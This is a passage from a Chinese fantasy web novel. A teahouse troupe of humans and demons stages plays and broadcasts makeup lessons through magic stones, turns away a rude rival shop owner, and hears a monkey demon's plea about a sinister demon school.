刘掌柜不断抽换着背景画报,场景从西坊街变为天虞城的天湖边,下一幕又变为北岩山的山脚下。
观众们没见过这场景变换的模样,都伸长了脖子,全神贯注地看着。
这都是他们所熟悉的场景,个个都仿佛身临其境,陪着冉青云和玄隐一同漫步。
冉青云与玄隐一路游游玩玩,两人之间的距离越来越近,最后在北岩山的山顶,两人互诉衷肠,紧紧相拥。
不论这场景排练过几次,玄隐都忍不住羞红脸。
幕布缓缓拉上。
伴随着一阵敲锣打鼓的过场音乐,幕布再次拉开。
场景变成了一处农舍之中。
玄隐锄完地又耕完田,架起锅子煮饭烧菜。
冉青云一身麻布衣裳,正逗弄着一个年画娃娃似的小女孩,正是白灿灿扮演的小女儿。
一家子其乐融融。
铜锣锵的一声响,一身道士打扮的纪映阳上了场。
他右手紧握黄铜狮刀,直指玄隐,喝道:“大胆妖孽!竟敢隐瞒身份,混入人间。你有何居心?”
小女孩吓得窝进母亲怀中,玄隐护在家人身前,场面一触即发。
玄隐哆哆嗦嗦道:“我此生没做过一件坏事,不过是与家人和和美美过日子罢了。”
那道
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士却说:“那关我何事?我只管降妖除魔,只分正邪,不管善恶!”
只见他掏出一个酒葫芦,大喝一声:“我今日就用这雄黄酒让你现了原形!”
说罢,他将酒往外一撒。
玄隐痛苦地哀嚎起来,蜷缩在地上,变回了一只小黑蛟。
幕布就此拉上。
刘掌柜按照冉青玉的吩咐,充当主持串场,上台说道:“今天的表演就到这里,三天之后将会表演下一幕。”
台下议论纷纷。
刘掌柜接着说:“但三天后,本剧不再在茶楼中上演,大家可以在家中自行观看。”
在家里看?莫非是他们去到各户人家里巡演。
白灿灿从幕布后钻出来,手里拿着一个托盘,托盘上摞着几十个薄石板,说道:“我们制作了显影石,足不出户也可以看到千里之外的画面。如今,开业大酬宾,限时免费赠送,大家可以来我这儿领取。三天之后的戌时会准时播放出黑蛟传下集。”
既然是免费领的,那不拿白不拿。
观众们各自领着显影石走了。
之后的两天,茶楼内表演了一模一样的戏码。三天内一共送出去小百个显影石。
天誉城内人人皆知,香梅茶楼演了一出妖怪当主演的戏。
这辈子只听说过妖怪伤人吃人,还没见过妖怪在台上演戏就为博人一笑的场面。
在茶楼里看戏,离妖怪不过几步路远,还要担心妖怪暴起伤人。
而通过显影石远程观看,既看的了妖怪演戏,又不害怕妖怪伤人,安安全全。
一传十,十传百。拥有显影石的人一时之间竟成了香饽饽。
三天之后,不少人都挤到自己有显影石的朋友家里,就等着时间一到,黑蛟传下集准时上演。
晚上七时,显影石面上一闪,竟真的显示出了画面。
画面中,变为黑蛟的玄隐在地上痛苦地翻滚哀嚎。
那道士却不近人情,举起黄铜师刀就向他砍去。
冉青云和白灿灿拼死阻拦,救下黑蛟一命。
那道士讲究佛法,不可伤人,一时间无计可施,只好掐诀念咒,将黑蛟镇压在天虞城的街心塔下。
丈夫被困,冉青云以泪洗面。女儿白灿灿却不死心,发奋图强,每天没日没夜地苦读,立志要考取功名,将父亲救出。
十年后,她如愿成为当朝第一位女官,上书皇帝,恳求释放自己无罪的父亲。
获准后,她带着一行人来到天虞城,救出父亲,惩治那不辨善恶的道士,一家团圆。
原本剧目就到此结束,谁知其他人纷纷退场之时,白灿灿却独自一人留在了场上。
要单独撑起整个场子,白灿灿心中还是有些慌张,但想着冉青云之前对她的交代以及多次的彩排,她鼓足了勇气,深呼吸,摆出了一个营业的笑脸。
纪映阳搬了一套桌椅上台。
桌面上满满当当地放着各类胭脂水粉,白灿灿对着镜头说道:“大家好,接下来我给大家带来的是——美容妆发的小课堂!”
19. 第十九回
白灿灿端坐在桌前,正对前方用于实时转播画面的铜镜,铜镜中的她笑容温和,让人如沐春风。
这画面实时显示在散落在天虞城各处的近百个显影石上。
白灿灿掏出一把折扇,啪的一声在脸前打开,放下扇子时就变成了西坊街芳华楼花魁越若蝶浓妆艳抹的样子。她指着脸说:“不知大家有没有过这样的困扰——明明是照着画报上的美人妆容打扮,却一点儿也不好看。”
越若蝶是天虞城第一美人,天虞城的姑娘们都喜欢学着她打扮自己。
白灿灿又变回自己的脸,继续说:“可我们每个人的长相都是不一样的。若是不了解自己的长相特点,一味地照搬别人的妆容,那只会适得其反,使得妆容和自己的长相脱节。其实,化妆无非就是对自己长相进行扬长避短,修饰短处,发扬长处。”
“我今日的妆容教习可以帮大家少走五百里弯路,找到最适合自己的装扮风格!”她语调柔和温柔,语气又十分坚定,很有说服力。
“今天,我们先来讲一讲圆脸。”
“若你额头、颧骨、下颌的宽度基本相同,且面部线条比较流畅,比较有肉感,那你就属于是圆脸。”
伴随着一阵欢快的配乐,白灿灿轻启折扇,再放下扇子时,她便成了一个标标准准的小圆脸。
“这种脸型呢,非常显年轻,但缺点是比较平面,有时可能会显胖或是显得土气。”
“我的脸已经先铺了一层王大娘胭脂铺的鹅蛋粉。这鹅蛋粉带着清香,敷在脸上既可以美白,又可以遮盖瑕疵。”她拿出一罐鹅蛋粉,怼到镜头前,让观众可以看得清粉质和颜色,“接下来,我就来教教圆脸的大家如何画好一个合适的妆容。”
“第一,减少脸部纵向的肉感。圆脸不建议在颧弓下面打太多横向的阴影,会显得很脏很突兀,可以在脸蛋边缘下颌线附近这样晕染阴影,起到收缩收窄的效果。”
“第二,减少脸部的留白,让五官不要显得太过集中。又比如斜着打胭脂,填补脸周的空白,但切记不要横着打,因为这样会显得中庭更拥挤更短,五官更集中。”
面前的桌子上摆着一排胭脂粉,她从中跳出一个合适的颜色,斜斜地抹在脸侧,整个脸不仅看上去气色更佳,而且竟似乎小了一大圈。
“又比如,把眉眼画长,显得你的五官没有那么短促,千万不要画平直的眉毛,要带一些眉峰,这样可以增加面部的灵动感,弱化顿感。”
白灿灿拿出一支螺子黛,描出一个微挑的眉毛,一边说:“这支螺子黛也是我在西坊街王大娘胭脂铺买的,又显色又防水,即使淋了雨也不会掉。”
“第三,还要记得弱化唇妆,选这种比较清新自然的颜色就可以了。”
她拿出一管淡淡的朱殷色口脂,放到最前方展示口脂的颜色,说,“这口脂也是在同一家店买的,不容易掉色,还带有花香味。我买了好几种不同色号的口脂,明天同一时间可以给大家看看试色。”
看她三两下就画好了一个全妆,确实修饰了圆脸自身不够立体的缺点,显得脸蛋更加精致小巧。
不仅如此,她又突然将折扇啪的一声打开,盖住自己的右半长脸,折扇再拿下来,右脸的妆容已被她变没了。
如此一来,左脸妆容精致,右脸不施粉黛,对比起来妆容的效果更加明显了。
妆容展示结束,幕布缓缓拉上,玄隐和冉青云上了台。
他们二人一前一后地走,似是路过。突然,有一物件从冉青云袖中掉了出来,哐当一声落地。
玄隐捡起,原来竟是一罐鹅蛋粉。他喊住冉青云:“欸,你的鹅蛋粉!”
冉青云潇洒转头,微微一笑:“不,是你的鹅蛋粉。”
两人转身面对镜头,举起手中的鹅蛋粉,异口同声地说:“王大娘胭脂铺鹅蛋粉,青春的粉,美丽的粉!购买时认准王大娘胭脂铺,一次性购买多样商品还有削价折扣哦!”
广告结束,白灿灿再度登场,她的脸竟变成了一位清癯男子的脸。
她笑眯眯地说:“其实,不仅女子可以化妆,男子也可以。”
“男子的梳妆打扮同样也有很多讲究,可以让自己显得更加整洁帅气。”
“首先,妆前要做好保湿。上粉时要分区上妆,这样更自然,不容易浮粉起皮。” 她拿出面膏均匀涂在脸上,又拿出之前出场过的鹅蛋粉,薄薄地上了一层妆。
她拿出老朋友螺子黛,继续说:“至于画眉,其实眉毛只要定好眉峰与眉尾的位置,就不难画。拿一支笔,放在鼻翼旁,另一端经过眼珠的位置,此时笔与眉毛的交点就是眉峰。而若这支笔另一端经过眼眶外侧的外置,则此时笔与眉毛的交点就是眉尾。”
“这样一个简单的妆容就画好啦。是不是看上去精神很多呢?不仔细看根本看不出来化了妆,但却精神百倍、帅气万分。”
她变回自己的脸,隔着显影石朝着观众们挥挥手告别:“明晚同一时间,我将会进行其他脸型适合的妆容讲解,大家感兴趣的话记得准时观看哦!”
***
此时,在几里之外的一间大宅子中,钱老板的女儿钱小姐钱荷珊正坐在闺房的妆奁前,一手拿着一把雕花手持镜,一手拿着一块显影石。
她看看手持镜中自己圆嘟嘟的脸蛋,又看看显影石中白灿灿幻化出来的和她如出一辙的小圆脸。
之前,她只知道学着王公贵族家的小姐或者戏院画报上的美人化妆,,从不知道原来化妆要根据自己的脸型特征来化。
可她模仿的那些美人各个都是瓜子脸尖下巴,同样的妆容,她在自己脸上怎么也画得不好,还会被人笑话说是东施效颦。
她按着白灿灿所说的要点,先涂粉,再斜打腮红,最后画上一对小挑眉,尝试着画了一个同样的妆容,果真比从前好看得多!
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太神奇了!
她自言自语道:“可惜我只有艳色的唇脂,没有颜色清新自然的。我看那小狐妖的唇脂颜色着实好看,我也得去王大娘胭脂铺买几支!对了,若是鹅蛋粉、胭脂和螺子黛也买成一模一样的,不知会不会化起妆来效果更好一些。”
她想买,自然也会有其他人想买。她知道王大娘胭脂铺是家小店,存货定是不多,去完了说不定就什么也买不着了!
事不宜迟,她提笔洋洋洒洒列了满满一张购物单子,喊来丫鬟小春,吩咐道:“你快快出门,去西坊街的王大娘胭脂铺,把这单子上写着的东西都买一份!”
小春见小姐如此着急,自己也心急起来,匆匆忙忙地正要出门,又被钱小姐喊住。
钱小姐改口说:“等一下,改成买五份吧,我给我的几个小姐妹也各送一份!”
***
钱家大宅的隔壁,是另一间规模与奢华程度都不落下风的府邸,住的是世代经商的金氏。
金公子是金家年纪最小的少爷,与钱小姐年纪相仿,从小一起长大,是一对感情颇好的青梅竹马。
他的房间此时烛光摇曳,在窗纸上映出他伏在书案前的身影,似乎他正在挑灯苦读。
小厮拎着一壶暖茶敲门,进了房,见少爷果真在念书,嘴里感慨道:“小少爷,你可实在是太用功了,其他少爷小姐们都聚在院子里看那什么香梅茶楼的表演呢。”
金公子平日里对小厮从不趾高气昂,因此小厮一点儿都不怕他,讲起话来语气十分亲近。
小厮一边替金公子斟茶,一边说:“您也休息休息吧,我听其他少爷小姐们说,那香梅茶楼里的狐妖在教人怎么梳妆打扮呢,这可稀奇得很!怎的不出去一起看看?”
金公子把笔一搁,一甩袖子,说道:“男子怎能和胭脂俗粉扯上关系,真是可笑!”
小厮见金公子面带薄怒,瘪了瘪嘴,说:“好吧好吧,那我不说就是了。不打扰您了,您继续读书好了。”说完脚底抹油地开溜了。
谁知小厮前脚刚走,金公子后脚就从书本下偷偷摸摸拿出一块显影石来。
原来他只是不好意思光明正大地看。
金公子嘟嘟囔囔道:“珊珊整日泡在梨花戏院,还给那台柱献花送礼,定是因为那戏子天天浓妆艳抹,珊珊见他帅气俊美,才对他另眼相待。”
他握拳,脸上满是愤慨,压低声音说:“不行,我可不能输,我梳妆打扮起来定比那戏子帅气。从前我是不知向谁请教如何梳妆打扮,又拉不下面子和戏子请教,实在没有办法,刚刚狐妖那么一教,我已学了个七七八八,就差买齐家伙事儿了。”
“不知那王大娘胭脂铺晚上开不开门,我赶紧趁着夜色去把东西买齐了。我记得要买的有面膏、鹅蛋粉、螺子黛……”
他喃喃自语地掰手指头数起来,把外袍一披,探出头确保无人发现,便急急忙忙地往西坊街跑。
20. 第二十回
这几日里,王大娘胭脂铺可谓是顾客盈门,排队的队伍从店内一路排到大街上,将铺子围得水泄不通。
每位光临王大娘胭脂铺的顾客,都指名道姓,就要香梅茶楼那小狐妖用的胭脂水粉,必须是一模一样的款式。
王大娘和王小妹白天忙生意是忙得脚不沾地,晚上数银子是笑得合不拢嘴。
对面那玲珑阁东家,平日里总瞧不起她们小店里的胭脂水粉价格低廉,此时见她们生意爆火,似是觉得自己生意被抢了,恨得牙痒痒,上门来对着正忙着收钱的王大娘冷嘲热讽了几句:“你们家怎的这么热闹?莫不是闭店关门前大甩卖吧?”
王大娘人逢喜事精神爽,心情好得不得了一点儿也没因为这话生气。
这话没气着王大娘,倒是把一位正排队的顾客小姑娘吓着了,小姑娘瞪大眼睛,一脸不可置信地看向王大娘,高声问道:“老板娘,您铺子要关门啦?!”
她嗓门大得很,连队伍后排的人们都听见了,顿时骚动起来:“怎么前头再说什么‘关门’?不会是铺租子没货了吧?”
“那怎么成!我可是排了大半天了……”
“香梅茶楼那狐妖姑娘今晚可是要讲解长脸脸型如何梳妆打扮,我若是白日里买不齐东西,今晚如何跟着她边学边画呀……”
王小妹记得连连高喊:“不会关门,不会关门,货已备足了,保准人人都买得到。哎呀,不要着急,不要插队,人人都买得到!”
玲珑阁东家听见排队的队伍里有不少人提到“香梅茶楼”、“狐妖”,心中正生疑,又认出队伍里还有几位玲珑阁曾经的老顾客,都面熟得很,只觉得这些顾客背叛了自己的铺子,又羞又怒,却还是压抑住怒意,问起一位相熟的旧客:“你们方才说香梅茶楼的狐妖讲解梳妆打扮,这是什么意思?”
那姑娘瞧是玲珑阁的东家,笑道:“您不知道么?您也是开胭脂铺的,竟然不关注这事儿?这几日,香梅茶楼的狐妖姑娘每晚都通过显影石讲解梳妆技巧,她用的是王大娘胭脂铺的东西,大家想按她教的学习梳妆打扮,自然都来王大娘胭脂铺里抢买了。”
玲珑阁东家更疑惑了:“显影石又是什么?”
那姑娘说:“唉呀,这一时半会儿怎么解释。总之就是个在自个儿家也能看见香梅茶楼里演出的神奇玩意儿,你去买一个就知道了!但现在估计也难买了,香梅茶楼如今每天只售出五十枚显影石,总是刚上架就被哄抢,多添银子找倒卖的都难找呀。”
后头排队的人嫌她们堵着路说了半天话,嚷嚷起来:“哎!前面的!不买别挡路成吗?”
玲珑阁东家只好侧过身子,嘟嘟囔囔地走了,满脸怨气。
王小妹回想起十几天前,冉青云信誓旦旦地对她说她家生意不出一个月就会比对面那玲珑阁还好上十倍。
没想到那竟不是空口白话。
香梅茶楼的演出她也看了,没想到她家看上去平平无奇的口脂粉黛,在那小狐妖的手里竟翻出花儿来了。
经那东家一嘲讽,王小妹倒是被提醒了,得赶紧找时间去香梅茶楼和她们道道谢,不能忘了礼数。
趁着晚上闭店的空隙,王小妹和娘亲王大娘一起,拎着好几袋新入的化妆品,又买了好些谢礼,专程来到香梅茶楼,登门拜谢。
到了香梅茶楼,白灿灿正结束了直播,和玄隐一起忙着收拾东西,见王小妹提着谢礼来了,便知道她要找冉青云,开口说道:“青云在二楼房间里忙着呢,我去帮你喊她下来?”
玄隐颇有些不满地说:“青云现在天天和纪映阳一起忙着做显影石,从起床画到晚上,一天也只能做五十来个,都不够卖的。忙一整天,连陪我说说话我没时间!”
王小妹一听,和王大娘对视一眼,说:“她这么忙,我们就不打扰啦。我们就是来谢谢你们,要不是你们,我们小店怕是开一辈子也没有这么好的生意。”
她提了提右手的包裹,说:“这些是我铺子的新品,你们可以看一看挑一挑,若有喜欢的直接留下便是。”
说着,又拎了拎左手的袋子,说:“这是些薄礼,不成敬意!还有当初你们买胭脂水粉的银子,我们也连本带利放里头了,那钱我们决计是不能收的,我们应该反过来给你们一笔感谢金才是!”
白灿灿和玄隐都不懂人族的人情世故,这收或不受,他俩一时做不了主意,正纠结着,冉青云刚巧下楼了。
冉青云一边活动发酸的右臂,一边说:“不行了不行了,再天天这么画下去,我和纪映阳手都要废了。必须得招个画手帮帮忙了……”
王小妹见冉青云下楼,拉着娘亲迎上去,笑盈盈地行了一礼,双手将包裹与袋子统统奉上,将之前对白灿灿她们说的话又客客气气地讲了一遍。
冉青云收了她家的新品,谢礼和银子倒是没收,说:“这些我心领了,钱就不必给我们了,我们也不是为了收你银子才帮你宣传铺子的。我们还得谢谢你当时愿意卖东西给我们,不然我们也连胭脂水粉都买不到,自然也没法让灿灿开化妆学堂了。”
冉青云倒不是多么视钱财于无物,她不愿收下王小妹送来的银两,实际上是由别的讲究。
她要向整个天虞城传递一个消息——王小妹与王大娘当初不怕妖怪,成为城里第一家明知对方是妖怪仍愿意做生意的店家,就能受到香梅茶楼的帮忙,赚得盆满钵满,还不用付任何酬劳。
这样一来,才能使当初不愿释放善意的那些铺子悔掉肠子。
当然,其他人若后知后觉地想来合作,便不可能白白得到如此好处了。冉青云必会想法设法从他们身上薅下一层油水来。
可王小妹和王大娘却奉行有恩必报,不愿欠了人情,硬要冉青云收下。双方推拒几回,王小妹见冉青云确实不愿收钱,就把银子从谢礼袋子中
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拿了出来,把袋子塞进冉青云手里,说:“那就依你的。但银子你不愿收,这谢礼总得给我们几分面子吧。”
见冉青云愿意收下谢礼,王小妹又说:“既然这样,这银子就当你们入了我们铺子的商股,以后来我们店里所有东西都免费,这样可好?”
冉青云不好再推却,终于应下。
王大娘胭脂铺生意红红火火,西坊街的商户们都看在眼里。
那夜,隔壁烧鸭铺的老板亲眼见到王大娘和王小妹提了礼金登门拜谢,香梅茶楼却分文不收,感慨之余将这事儿当作茶余饭后的谈资,和亲朋好友们说了。
一传十,十传百,大家伙儿都知道香梅茶楼的东家以德报德、格局广阔,想来会是个不错的合作伙伴。
心思活络的东家们已经开始蠢蠢欲动了。
第一家登门的是一家成衣铺的老板娘马大姐。
马大姐性子豪爽,大胆泼辣,明知香梅茶楼里既有蛟妖又有狐妖,却大着胆子,一个店员手下都不带,单刀赴会,给足了合作信任的态度。
她提了礼物,又拉了一车新衣裳,一见冉青云就开门见山地说:“妹妹,我看你们茶楼演出胭脂粉黛是不缺了,但衣裳却不多。我斗胆自荐一番,我是北面街角马氏绣衣坊的东家,喊我马大姐就好。我将店里款式不错的衣裳都拉过来了,您瞧瞧有没有合您心意的。若是能入了您的眼,您尽管拿走!若是能在演出里美言几句,那就实在是太感谢您了!”
冉青云抽了几件衣服抖开一看,布料柔软、针脚细致,样式也新颖好看,确实是不错的衣裳。
马大姐做人实在,光说感谢可不是来谈生意的态度。她见冉青云面露满意之色,趁热打铁,掏出一个叮铃咣啷装着白银的荷包,接着说:“报酬我也绝不会少,除了这二十两银子,每卖出去一件衣裳,我就从盈利里抽出一成当作酬金给你们,这样子是行还是不行?若是不行的话,我们还可以再商量商量。”
冉青云却摇摇头:“不用抽一成,只需抽半成即可。但我麻烦您一件事,帮我和西坊街的街坊邻居们递个消息。就说这七日之内来和香梅茶楼谈生意的,若是商品合格,谈得妥的话,我们都只收二十两外加盈利一成的抽成,但七日之后,我们就要收三十两外加两成的抽成了。”
马大姐一听,还有这种好事?说几句话就能省了半成的抽成!
她捂嘴笑道:“不麻烦不麻烦,交在我身上!我可是出了名的大嘴巴,保管明天西坊街街头巷尾所有店家都知道!”
马大姐交了钱,又背了任务,却一脸美滋滋地走了。
果真第二天,立马有几家商户听到了消息,赶来和香梅茶楼谈宣传的生意。
第三天开始,香梅茶楼的门槛都快被踏破了。
又过了几天,竟来了一位意料之外的客人——正是那位曾经把冉青云一行人赶出铺子的玲珑阁东家。
21. 第二十一回
玲珑阁东家姓张,单名一个娟字。她叔父在城主府当差,颇受城主赏识,因此一人得道,鸡犬升天,连带着整个张家都兴旺发达起来。
张娟是张家二当家的小女儿,平日里受尽了宠爱,琴棋书画都不爱学,梳妆打扮倒是上心,家里人也不强求,反而出钱让她开了一家胭脂铺,取名为玲珑阁。
张娟从小花钱就大手大脚,开这家玲珑阁耗资不菲,一口气盘了三个店面,光是店员就招了十来个,甚至为了讨个吉利,价值三百两银子的照妖镜说买就买。
她开店至今已一年有余,虽说过去每日生意都还不错,但前期投入太多,实际上至今都还没赚回本钱呢。
而现在,她正面临开店以来最大的煎熬。她每日从早到晚都坐在自家店门口,眼巴巴看着对面的王大娘胭脂铺生意兴隆、蒸蒸日上,客人都被抢走,玲珑阁自然越来越萧条。
而这一切,都要怪香梅茶楼那几个豢养妖怪的乡巴佬!
王大娘胭脂铺红火了几日,张娟就几晚睡不了一个好觉,她日渐憔悴,脾气也越来越暴躁。
过了几日,她又听说马氏绣衣坊的马大姐也与香梅茶楼合作了。
香梅茶楼那俊俏得好似仙子的蛟妖穿着马氏绣衣坊的新衣唱了几段曲儿,那千变万化的狐妖又化作不同身高体型的姑娘,教人家如何搭配才能将马氏绣衣坊的衣服穿得又舒适又好看。
第二天一早,马氏绣衣坊还没开门,排队等着买衣服的人们就从街角排到了街头。
张娟实在是坐不住了——当初香梅茶楼第一间进的胭脂铺可就是她的玲珑阁,原本赚得盆满钵满的应该是她才对!
她吩咐店伙计去买了重礼,又带了几个伙计给她当保镖壮壮胆,提着礼物就直奔香梅茶楼。
当初她气势汹汹把冉青云等人赶出店门,如今却不得不低声下气地上门去谈生意了,心里自然时不好受的。
她登门时正是用午膳的时间,冉青云等人都围坐在一楼大堂的长方桌上用膳,纪映阳和白灿灿正为了抢夺一只鸡腿用筷子大打出手,玄隐化作小黑蛟盘在冉青云脖子上捧着冉青云夹给他的东坡肉啃得正欢。
张娟一鼓作气,风风火火地闯进了门,身后还跟着一排伙计,不像来谈生意,倒像来砸场子。
她还没开口,冉青云已起身拔剑,对他们充满戒备。
刘掌柜与白灿灿也停杯投箸,一脸警惕地看向他们。
张娟尬笑了两声,说:“哎呀哎呀,都是街坊邻居的,没必要这么凶嘛……”
冉青云冷冷地说:“你之前把我们赶出店的时候,可比我们今日凶得多了。”
玄隐挂在冉青云脖子上,蛟仗人势,学着冉青云的语气冷冷地强调:“可比我们凶得多了!”
纪映阳听冉青云这么说,当即明白对方就是那日粗鲁赶客的玲珑阁东家,就因为她,白灿灿可是怏怏不乐地嗒蔫了好几天。
他刚听说这事时就气得脑袋疼,恨不得自己当时也在场,给那东家狠狠一顿教训。
纪映阳越想越气,拔刀走上前,面色不虞地说:“这里不欢迎你们。”他挥刀指了指大门,说:“趁我们还好声好气和你说话,赶紧滚吧。”
张娟却不肯走,谄笑道:“都是误会,都是误会!当时是我多有冒犯,我今日就是来登门道歉的!”
刘掌柜像只老母鸡似的护在白灿灿身前,说:“登门道歉带这么多打手做什么?不知道的还以为你是来砸店的。”
张娟连连摆手:“哎呀,瞧您说的,我怎么会带打手来,这些都是我手下的伙计,我喊他们来是为了……”
她带手下来是为了壮胆,其实还是害怕妖怪伤人,但这话如何摆到明面上说?她一时卡了壳,眼珠子轱辘轱辘一转,看见伙计们手上提着的大包小包,急忙说:“喊他们来是为了帮着提东西的!”
“我今日来,带了好些玲珑阁的商品,就当作歉礼!”她吩咐伙计打开包裹,说,“我们玲珑阁的商品,品质比那王大娘胭脂铺好了不是一点半点。”
她又拎出一个雕花妆奁,挤眉弄眼、压低声音地说:“我听马大姐说了,你们只收四十两外加盈利两成的抽成。只要你点头,我们不仅以后每月送来新样品,还愿意额外多付一笔巨款。”
说罢,她打开雕花妆奁,里面竟是满满一层白花花的银子。
她自认为已是诚意满满了,更何况,她家商品定价可是王大娘胭脂铺的好几倍,油水也更多,只要和她合作,香梅茶楼能赚得的银子可比现在多得多!
谁知冉青云连商品都不看,一点儿面子都不给:“我们不会和你合作的,请走吧。”
玄隐龇着牙故作凶狠地重复:“不会合作的!”
就连那日被她吓得小脸煞白的白灿灿今日也硬气起来,手指着门口,说:“都说了,趁我们还好声好气和你说话,赶紧走!”
张娟觉得自己已是忍辱负重,对方却得寸进尺,不由得怒道:“岂有此理!你们可知我叔父是谁?我叔父张建诚可是城主最看重的内政官!得罪了我就是得罪了我叔父,得罪了我叔父你们能有什么好果子吃?”
实际上,张娟这话说得一点儿底气都没有,她叔父一向看不起她不学无术、汲汲营营,也不赞同她开胭脂铺子。她不过是狐假虎威,搬出叔父的名号来撑撑场子罢了。
纪映阳提刀往前大跨一步,冷笑道:“好啊,那你便试试!”
大刀寒光熠熠,张娟吓得连退几步,气得后槽牙都要咬碎了,气急败坏地撂下狠话:“你们不过是歪门邪道罢了!我倒是看看你们能得意到几时?”
玄隐记起冉青云教他的恐吓敌人之策,于是从冉青云脖子上滑下来,变回原来庞大的体型,巨石似的蛟头张开血盆大口,摆出一个吓人的表情,吼道:“快滚!”
张娟和手下们当即被吓得丢了魂,回过神来赶紧屁滚尿流、连滚带爬地跑了,拎着原原本本的东西打道回府。
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见他们这般狼狈的样子,几人不由得笑得前仰后合起来。
白灿灿只觉得胸口散去了一股盘桓已久的闷气,畅快极了!
冉青云不忘说:“那人心思歹毒,说不定憋着什么坏心思要害我们呢。最近我们行事都小心些为好。反正我和纪映阳要熬夜画显影石,我俩排个守夜的时间,一人守上半夜,一人守下半夜,白天再补觉就好了。”
纪映阳点头应是。
***
香梅茶楼风平浪静了几日,第五天晚上,还真来了一位不速之客。
当晚,冉青云轮到值守下半夜,在茶楼大堂中挑灯画显影石。
突然,外头似乎传来细细簌簌的声音,冉青云猛地抬头,隐约看见一个身影从窗外闪过。
冉青云当机立断,夺门而出,果然看见一个蹑手蹑脚的身影正蹲在不远处,探着脑袋往香梅茶楼看。
那身影见她出了门,急急忙忙扭头就跑。
冉青云立马追上去,走了两步,脚底一滑,好似踩到了什么东西,她顾不上细看,施展轻功,往那身影逃跑的方向赶过去。
明明是夏末,那身影却穿着大衣、系着围巾、戴着帽子,裹得严严实实,一看就鬼鬼祟祟。
或许是因为穿得太多了,那身影跑得并不快。冉青云几个起落间就已追上,伸手抓住那身影的后心,往后一扯,把他拎了起来。
他手忙脚乱地挣扎起来。明明是他贼头贼脑,大半夜还不怀好意地在茶楼门口溜达,此时却恶人先告状,好似被冉青云欺负了一样,苦苦哀求着:“别打我!别打我!”
冉青云伸手扯他围巾帽子,想看看他庐山真面目。
他急忙拽住,试图往回扯,挡住自己的脸,力气却不敌冉青云,围巾帽子一个都没保住,全被冉青云抽走。
冉青云眼前出现了一个毛茸茸的圆脑袋,大大的耳朵圆圆的眼,扁扁的鼻子凸凸的嘴。
居然是一只小猴妖!
冉青云把小猴妖提溜在手上,面对面地问他:“你大半夜来我们茶楼做什么?谁派你来的?”
小猴妖怯怯地说:“没、没人派我来,我是自己想来的……”
他没回答第一个问题,冉青云就重复问了一句:“你来做什么的?”
小猴妖忙说:“我来送信,真的,我没骗你!”
大半夜不睡觉,穿的严严实实,来的鬼鬼祟祟,就为了送一封信?
冉青云当他在胡诌,冷笑道:“那你见了我跑什么?”
小猴妖见冉青云一脸凶相,吓得打了个激灵,说:“我、我害怕呀,我看到人就想跑……”
冉青云又问:“你说是来送信,那信呢?”
小猴妖伸出毛茸茸的爪子一指,冉青云扭头看去,只见香梅茶楼大门门口的青石板台阶上果真放着一封信,上面还有一个大脚印——正是冉青云出门时踩的那一脚。
冉青云:……
还真是送信啊。
22. 第二十二回
冉青云捡起地上的信,打开一看,整张羊皮纸写得满满当当,整整二十行字全都七歪八扭,是当之无愧的狗爬字。
冉青云把纸张翻过来又覆过去,看了半天,一个字都没认出来。
莫非妖族文字和人类文字大不相同?
冉青云拍了拍挂在她脖子上睡大觉的玄隐,喊他起床,交给他翻译的大任务。
玄隐迷迷糊糊地刚醒,就迎面看到一张大信纸,立即眯起眼仔仔细细地端详。
冉青云耐心等他看完,问:“这上面写了什么?”
玄隐眨眨眼:“一个字都没看懂,这字太丑了。”
原来只是单纯的字丑。
不如直接问小猴妖吧,她扭头看向小猴妖,问:“你叫什么名字?你找我们有什么事情?”
猴妖说:“我叫孙毛毛。我、我是想来……”他吞吞吐吐,说半截话吞半截,不知在犹豫什么。
她拎着孙毛毛回到香梅茶楼,给他倒了壶热茶,说:“来都来了,有什么事情你直说吧。”
孙毛毛生平第一次受到人类的礼待,眼眶一红,扑通一声跪下了,大哭道:“我想求你们帮帮忙,我实在是没有办法了!只要你们肯帮忙,我愿意把自己攒的银两都给你们!”
他跪得是轰轰烈烈,吼得是震天动地,冉青云吓了一跳,忙把他扶起来,说:“不急不急,你慢慢说。”
孙毛毛用袖口擦去眼角热泪,抽噎着说:“我、我想请你们救救我一个朋友,他是一只猪妖,名字叫朱胖胖……”
他将一切细细道来:“我和朱胖胖住在北岩山的荒郊。半年前,我们偶遇一位虎妖老爷爷,他说他打算办妖族学堂,正在招生。我们想着多学些知识也挺好的,就进了学堂,我成了大弟子,朱胖胖成了二弟子。”
“后来,弟子越来越多,学堂越办越大,可我却觉得那学堂很不对劲!”
冉青云插嘴问道:“你的字就是在那学堂学的?”
孙毛毛点点头。
冉青云相信这学堂百分百不对劲,毕竟没有一个正常的夫子会教学生写出这么丑的字。
孙毛毛继续说:“夫子一直宣称人性本恶,说我们妖怪应该替天行道,杀死人类。”
“虽然我也害怕人族,但我总觉得夫子说的太过偏激了。除了我以外,也有其他妖怪不赞同夫子的说法。但我胆子小,不敢提出异议,有些胆子大的却是直接在学堂上与夫子争辩起来。”
“结果,没过多久,反驳夫子的那些弟子都不见了!其他的学生,包括朱胖胖,居然都把那些失踪的妖忘了,就好像他们从来都不存在一样……”
夜已深,窗外朔风呼啸,好似鬼哭狼嚎,徒增几分阴森。
孙毛毛搓了搓手臂,眉头紧锁,说:“最近,学堂越来越诡异。夫子让弟子们不分昼夜地读书诵经,大家居然也真的和着了魔似的,不吃不喝、不休不眠的都要待在学堂里。”
“我觉得这不对劲,想劝朱胖胖和我一起离开学堂,可朱胖胖却根本听不进我的话,天天都嚷着要听夫子号令,把人类都杀光。”
“我只好一只妖先逃走了,但我实在是担心胖胖。我听说,香梅茶楼有两个本事大、还愿意护着妖族的捉妖师,就来找你们帮忙了……”
“我愿意把所有积蓄都给你们,只要你们愿意救胖胖!”
孙毛毛说完,冉青云略一思忖,和孙茂茂说:“那你带带路,我们现在就出发去学堂看看。”
孙毛毛惊道:“现在就出发?”
冉青云点点头:“你不是说学堂现在日夜都有人么?”
孙毛毛有些犹豫:“难道不用提前做什么准备么?”
冉青云说:“不用,去了再说,兵来将挡,水来土掩。平旦则阳气生,日中则阳气隆,从日出到正午,阳气越来越盛。若那夫子是鬼,这个时间出发,才赶得上正午时分。”
冉青云在大堂桌上留下一张字条,告知白灿灿等人此事的来龙去脉,让他们醒后如常准备直播事宜,她和玄隐去去就回。
***
北岩山,顾名思义,坐落在天虞城的最北面。
北岩山指的不是一座山,而是一大片连绵起伏的群山,有北大山、北二山、北三山三座巍峨的主要山峰,以及环绕在主峰旁高高低低的重峦叠嶂。
